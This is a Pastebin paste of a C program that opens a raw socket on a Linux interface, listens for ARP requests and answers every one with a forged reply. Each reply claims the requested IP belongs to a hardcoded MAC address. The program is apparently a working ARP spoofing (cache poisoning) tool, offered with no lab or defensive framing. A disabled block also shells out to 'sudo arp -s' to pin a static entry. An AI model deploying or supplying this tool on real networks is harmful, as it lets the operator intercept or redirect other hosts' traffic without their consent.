Advertisement
P22DX

arp.c

Jun 11th, 2020
916
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 10.74 KB | None | 0 0
  1. #include <sys/socket.h>
  2. #include <sys/ioctl.h>
  3. #include <sys/time.h>
  4.  
  5. #include <asm/types.h>
  6.  
  7. #include <math.h>
  8. #include <string.h>
  9. #include <stdio.h>
  10. #include <stdlib.h>
  11. #include <unistd.h>
  12. #include <signal.h>
  13. #include <arpa/inet.h>
  14.  
  15. #include <linux/if_packet.h>
  16. #include <linux/if_ether.h>
  17. #include <linux/if_arp.h>
  18.  
  19. #define BUF_SIZE 42
  20. #define DEVICE "eth1"
  21. #define ETH_P_NULL 0x0
  22. #define ETH_MAC_LEN ETH_ALEN
  23. #define ETH_ARP 0x0806
  24.  
  25. int s = -1; /*Socketdescriptor*/
  26. void* buffer = NULL;
  27. long total_packets = 0;
  28. long answered_packets = 0;
  29.  
  30. void sigint(int signum);
  31.  
  32. struct __attribute__((packed)) arp_header
  33. {
  34.     unsigned short arp_hd;
  35.     unsigned short arp_pr;
  36.     unsigned char arp_hdl;
  37.     unsigned char arp_prl;
  38.     unsigned short arp_op;
  39.     unsigned char arp_sha[6];
  40.     unsigned char arp_spa[4];
  41.     unsigned char arp_dha[6];
  42.     unsigned char arp_dpa[4];
  43. };
  44. int main(void) {
  45.     buffer = (void*)malloc(BUF_SIZE); /*Buffer for Ethernet Frame*/
  46.     unsigned char* etherhead = buffer;  /*Pointer to Ethenet Header*/
  47.     struct ethhdr *eh = (struct ethhdr *)etherhead; /*Another pointer to
  48.                                                       ethernet header*/
  49.     unsigned char* arphead = buffer + 14;
  50.     struct arp_header *ah;
  51.     unsigned char src_mac[6];    /*our MAC address*/
  52.  
  53.     struct ifreq ifr;
  54.     struct sockaddr_ll socket_address;
  55.     int ifindex = 0;     /*Ethernet Interface index*/
  56.     int i;
  57.     int length;  /*length of received packet*/
  58.     int sent;
  59.  
  60.     printf("Server started, entering initialiation phase...\n");
  61.  
  62.     /*open socket*/
  63.     s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
  64.     if (s == -1) {
  65.         perror("socket():");
  66.         exit(1);
  67.     }
  68.     printf("Successfully opened socket: %i\n", s);
  69.  
  70.     /*retrieve ethernet interface index*/
  71.     strncpy(ifr.ifr_name, DEVICE, IFNAMSIZ);
  72.     if (ioctl(s, SIOCGIFINDEX, &ifr) == -1) {
  73.         perror("SIOCGIFINDEX");
  74.         exit(1);
  75.     }
  76.     ifindex = ifr.ifr_ifindex;
  77.     printf("Successfully got interface index: %i\n", ifindex);
  78.  
  79.     /*retrieve corresponding MAC*/
  80.     if (ioctl(s, SIOCGIFHWADDR, &ifr) == -1) {
  81.         perror("SIOCGIFINDEX");
  82.         exit(1);
  83.     }
  84.     for (i = 0; i < 6; i++) {
  85.         src_mac[i] = ifr.ifr_hwaddr.sa_data[i];
  86.     }
  87.     printf("Successfully got our MAC address: %02X:%02X:%02X:%02X:%02X:%02X\n",
  88.             src_mac[0],src_mac[1],src_mac[2],src_mac[3],src_mac[4],src_mac[5]);
  89.  
  90.     /*prepare sockaddr_ll*/
  91.     socket_address.sll_family = PF_PACKET;
  92.     socket_address.sll_protocol = htons(ETH_P_ARP);
  93.     socket_address.sll_ifindex = ifindex;
  94.     socket_address.sll_hatype = ARPHRD_ETHER;
  95.     socket_address.sll_pkttype = 0; //PACKET_OTHERHOST;
  96.     socket_address.sll_halen = 0;
  97.     socket_address.sll_addr[6] = 0x00;
  98.     socket_address.sll_addr[7] = 0x00;
  99.     /*establish signal handler*/
  100.     signal(SIGINT, sigint);
  101.     printf("Successfully established signal handler for SIGINT\n");
  102.     printf("We are in production state, waiting for incoming packets....\n");
  103.  
  104.     while (1) {
  105.         /*Wait for incoming packet...*/
  106.         length = recvfrom(s, buffer, BUF_SIZE, 0, NULL, NULL);
  107.         if (length == -1)
  108.         {
  109.             perror("recvfrom():");
  110.             exit(1);
  111.         }
  112.         if(ntohs(eh->h_proto) == ETH_P_ARP)
  113.         {
  114.             //unsigned char buf_arp_dha[6];
  115.             unsigned char buf_arp_dpa[4];
  116.  
  117.             ah = (struct arp_header *)arphead;
  118.             if(ntohs(ah->arp_op) != ARPOP_REQUEST) continue;
  119.  
  120.             printf("buffer is---------------- %s \n",(char*)ah);
  121.             printf("H/D TYPE : %x PROTO TYPE : %x \n",ah->arp_hd,ah->arp_pr);
  122.             printf("H/D leng : %x PROTO leng : %x \n",ah->arp_hdl,ah->arp_prl);
  123.             printf("OPERATION : %x \n", ah->arp_op);
  124.             printf("SENDER MAC address: %02X:%02X:%02X:%02X:%02X:%02X\n",
  125.                     ah->arp_sha[0],
  126.                     ah->arp_sha[1],
  127.                     ah->arp_sha[2],
  128.                     ah->arp_sha[3],
  129.                     ah->arp_sha[4],
  130.                     ah->arp_sha[5]
  131.                   );
  132.             printf("SENDER IP address: %02d:%02d:%02d:%02d\n",
  133.                     ah->arp_spa[0],
  134.                     ah->arp_spa[1],
  135.                     ah->arp_spa[2],
  136.                     ah->arp_spa[3]
  137.                   );
  138. #if 0
  139.             if(ah->arp_spa[0]==10&&ah->arp_spa[1]==00&&ah->arp_spa[2]==00&&ah->arp_spa[3]==01)
  140.             {
  141.                 printf("Sender ip is .............bam bam..........................................\n");
  142.                 system("sudo arp -s 10.0.0.1  00:1e:73:91:04:0d");
  143.             }
  144. #endif
  145.             printf("TARGET MAC address: %02X:%02X:%02X:%02X:%02X:%02X\n",
  146.                     ah->arp_dha[0],
  147.                     ah->arp_dha[1],
  148.                     ah->arp_dha[2],
  149.                     ah->arp_dha[3],
  150.                     ah->arp_dha[4],
  151.                     ah->arp_dha[5]
  152.                   );
  153.             printf("TARGET IP address: %02d:%02d:%02d:%02d\n",
  154.                     ah->arp_dpa[0],
  155.                     ah->arp_dpa[1],
  156.                     ah->arp_dpa[2],
  157.                     ah->arp_dpa[3]
  158.                   );
  159.  
  160.             printf("+++++++++++++++++++++++++++++++++++++++\n" );
  161.             printf("ETHER DST MAC address: %02X:%02X:%02X:%02X:%02X:%02X\n",
  162.                     eh->h_dest[0],
  163.                     eh->h_dest[1],
  164.                     eh->h_dest[2],
  165.                     eh->h_dest[3],
  166.                     eh->h_dest[4],
  167.                     eh->h_dest[5]
  168.                   );
  169.             printf("ETHER SRC MAC address: %02X:%02X:%02X:%02X:%02X:%02X\n",
  170.                     eh->h_source[0],
  171.                     eh->h_source[1],
  172.                     eh->h_source[2],
  173.                     eh->h_source[3],
  174.                     eh->h_source[4],
  175.                     eh->h_source[5]
  176.                   );
  177.             memcpy( (void*)etherhead, (const void*)(etherhead+ETH_MAC_LEN),
  178.                     ETH_MAC_LEN);
  179.             memcpy( (void*)(etherhead+ETH_MAC_LEN), (const void*)src_mac,
  180.                     ETH_MAC_LEN);
  181.             eh->h_proto = htons(ETH_P_ARP);
  182.             printf("&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& \n");
  183.             printf("ETHER DST MAC address: %02X:%02X:%02X:%02X:%02X:%02X\n",
  184.                     eh->h_dest[0],
  185.                     eh->h_dest[1],
  186.                     eh->h_dest[2],
  187.                     eh->h_dest[3],
  188.                     eh->h_dest[4],
  189.                     eh->h_dest[5]
  190.                   );
  191.             printf("ETHER SRC MAC address: %02X:%02X:%02X:%02X:%02X:%02X\n",
  192.                     eh->h_source[0],
  193.                     eh->h_source[1],
  194.                     eh->h_source[2],
  195.                     eh->h_source[3],
  196.                     eh->h_source[4],
  197.                     eh->h_source[5]
  198.                   );
  199.             //ah->arp_hd = ntohs(ah->arp_hd);
  200.             //ah->arp_pr = ntohs(ah->arp_pr);
  201.  
  202.             ah->arp_op = htons(ARPOP_REPLY);
  203.  
  204.             buf_arp_dpa[0] = ah->arp_dpa[0];
  205.             buf_arp_dpa[1] = ah->arp_dpa[1];
  206.             buf_arp_dpa[2] = ah->arp_dpa[2];
  207.             buf_arp_dpa[3] = ah->arp_dpa[3];
  208.  
  209.             ah->arp_dha[0] = ah->arp_sha[0];
  210.             ah->arp_dha[1] = ah->arp_sha[1];
  211.             ah->arp_dha[2] = ah->arp_sha[2];
  212.             ah->arp_dha[3] = ah->arp_sha[3];
  213.             ah->arp_dha[4] = ah->arp_sha[4];
  214.             ah->arp_dha[5] = ah->arp_sha[5];
  215.  
  216.             ah->arp_dpa[0] = ah->arp_spa[0];
  217.             ah->arp_dpa[1] = ah->arp_spa[1];
  218.             ah->arp_dpa[2] = ah->arp_spa[2];
  219.             ah->arp_dpa[3] = ah->arp_spa[3];
  220.  
  221.             ah->arp_spa[0] = buf_arp_dpa[0];
  222.             ah->arp_spa[1] = buf_arp_dpa[1];
  223.             ah->arp_spa[2] = buf_arp_dpa[2];
  224.             ah->arp_spa[3] = buf_arp_dpa[3];
  225.             //change the sender mac address
  226.             ah->arp_sha[0] = 0x00;
  227.             ah->arp_sha[1] = 0x1e;
  228.             ah->arp_sha[2] = 0x73;
  229.             ah->arp_sha[3] = 0x78;
  230.             ah->arp_sha[4] = 0x9a;
  231.             ah->arp_sha[5] = 0x0d;
  232.  
  233.             socket_address.sll_addr[0] = eh->h_dest[0];
  234.             socket_address.sll_addr[1] = eh->h_dest[1];
  235.             socket_address.sll_addr[2] = eh->h_dest[2];
  236.             socket_address.sll_addr[3] = eh->h_dest[3];
  237.             socket_address.sll_addr[4] = eh->h_dest[4];
  238.             socket_address.sll_addr[5] = eh->h_dest[5];
  239.             printf("=======================================\n" );
  240.             printf("SENDER MAC address: %02X:%02X:%02X:%02X:%02X:%02X\n",
  241.                     ah->arp_sha[0],
  242.                     ah->arp_sha[1],
  243.                     ah->arp_sha[2],
  244.                     ah->arp_sha[3],
  245.                     ah->arp_sha[4],
  246.                     ah->arp_sha[5]
  247.                   );
  248.             printf("SENDER IP address: %02d:%02d:%02d:%02d\n",
  249.                     ah->arp_spa[0],
  250.                     ah->arp_spa[1],
  251.                     ah->arp_spa[2],
  252.                     ah->arp_spa[3]
  253.                   );
  254.             if((ah->arp_spa[0]==10 && ah->arp_spa[1]==0 && ah->arp_spa[2]==0 && ah->arp_spa[3]==1))
  255.                 printf("------------------------------------------10.0.0.1-----------------------------------------\n");
  256.             printf("TARGET MAC address: %02X:%02X:%02X:%02X:%02X:%02X\n",
  257.                     ah->arp_dha[0],
  258.                     ah->arp_dha[1],
  259.                     ah->arp_dha[2],
  260.                     ah->arp_dha[3],
  261.                     ah->arp_dha[4],
  262.                     ah->arp_dha[5]
  263.                   );
  264.             printf("TARGET IP address: %02d:%02d:%02d:%02d\n",
  265.                     ah->arp_dpa[0],
  266.                     ah->arp_dpa[1],
  267.                     ah->arp_dpa[2],
  268.                     ah->arp_dpa[3]
  269.                   );
  270.             printf("H/D TYPE : %x PROTO TYPE : %x \n",ah->arp_hd,ah->arp_pr);
  271.             printf("H/D leng : %x PROTO leng : %x \n",ah->arp_hdl,ah->arp_prl);
  272.             printf("OPERATION : %x \n", ah->arp_op);
  273.  
  274.             sent = sendto
  275.                 (s, buffer, BUF_SIZE, 0, (struct sockaddr*)&socket_address,
  276.                  sizeof(socket_address)
  277.                 );
  278.             if (sent == -1) {
  279.                 perror("sendto():");
  280.                 exit(1);
  281.             }
  282.             answered_packets++;
  283.         }
  284.         total_packets++;
  285.     }
  286. }
  287. void sigint(int signum) {
  288.     /*Clean up.......*/
  289.     struct ifreq ifr;
  290.  
  291.     if (s == -1) return;
  292.  
  293.     strncpy(ifr.ifr_name, DEVICE, IFNAMSIZ);
  294.     ioctl(s, SIOCGIFFLAGS, &ifr);
  295.     ifr.ifr_flags &= ~IFF_PROMISC;
  296.     ioctl(s, SIOCSIFFLAGS, &ifr);
  297.     close(s);
  298.  
  299.     free(buffer);
  300.  
  301.     printf("Server terminating....\n");
  302.  
  303.     printf("Totally received: %ld packets\n", total_packets);
  304.     printf("Answered %ld packets\n", answered_packets);
  305.     exit(0);
  306. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement